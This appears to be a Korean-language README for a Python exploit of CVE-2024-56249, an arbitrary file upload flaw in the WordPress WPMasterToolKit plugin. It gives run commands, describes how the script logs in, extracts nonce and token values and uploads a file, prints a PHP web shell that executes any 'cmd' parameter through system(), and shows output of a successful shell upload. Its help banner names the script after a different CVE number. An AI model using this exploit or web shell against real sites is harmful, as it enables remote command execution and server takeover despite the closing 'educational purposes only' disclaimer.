
WordPress WPMasterToolKit 플러그인 <= 1.13.1 - 임의 파일 업로드 취약점
이 스크립트는 WordPress WPMasterToolKit 플러그인의 임의 파일 업로드 취약점을 악용하여 공격자가 서버에 웹 셸을 업로드할 수 있도록 합니다. 이 취약점은 플러그인 버전 <= 1.13.1에 존재합니다.
이 취약점을 악용하려면 다음 명령어를 사용하세요:
python CVE-2024-56249.py -u <URL> -un <USERNAME> -p <PASSWORD> -fn <FILENAME>
-u / --url: 대상 WordPress URL (예: http://192.168.100.74:888/wordpress)-un / --username: WordPress 관리자 사용자 이름-p / --password: WordPress 관리자 비밀번호-fp / --filepath: 파일 업로드 경로 (기본값: wp-content/uploads/2025/03)-fn / --filename: 업로드할 파일 이름 (기본값: shell.php)스크립트는 먼저 대상 URL을 검사하여 WPMasterToolKit 플러그인의 버전을 확인하고 CVE-2024-56249에 취약한지 확인합니다.
그런 다음 제공된 자격 증명을 사용하여 WordPress 관리자 패널에 로그인을 시도합니다.
로그인 성공 후, 파일 업로드에 필요한 보안 토큰(nonce 및 token)을 추출합니다.
추출된 토큰을 사용하여 지정된 파일(예: 웹 셸)을 대상 서버에 업로드합니다.
마지막으로, 대상 URL을 통해 파일에 접근 가능한지 확인하여 업로드가 성공했는지 검증합니다.
셸 파일(예: shell.php)을 스크립트와 동일한 디렉터리에 배치한 후 실행하세요. 스크립트가 파일을 올바르게 찾아 업로드하는 데 필요합니다.
shell.php)<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}
?>
python CVE-2024-56249.py -u http://target -un admin -p admin -fn shell.php
python CVE-2024-56249.py -u http://target -un admin -p admin -fn shell.php
[🔍] Detected plugin version: 1.13.1
[🔥] Target is VULNERABLE to CVE-2024-56249! Exploiting...
[🔑] Attempting to log in...
[✅] Authentication successful!
[📡] Extracting security tokens...
[✅] Extracted nonce: e4ae47c8d8
[✅] Extracted token: e4ae47c8d8
[📤] Attempting to upload shell.php to wp-content/uploads/2025/03...
[✅] Upload request sent successfully.
[🔥] Shell successfully uploaded! Access it here: http://target/wp-content/uploads/2025/03/shell.php
usage: CVE-2025-1307.py [-h] -u URL -un USERNAME -p PASSWORD [-fp FILEPATH] [-fn FILENAME]
Master Toolkit Exploit CVE-2024-56249 #by Nxploit | Khaled Alenazi
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL (e.g., http://192.168.100.74:888/wordpress4/)
-un, --username USERNAME
WordPress admin username
-p, --password PASSWORD
WordPress admin password
-fp, --filepath FILEPATH
File upload path (default: wp-content/uploads/2025/03)
-fn, --filename FILENAME
File name to upload (default: shell.php)
이 도구는 교육 목적으로만 제공됩니다. 사용에 따른 모든 책임은 본인에게 있습니다. 저자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
익스플로잇 스크립트 제작: Nxploit | Khaled Alenazi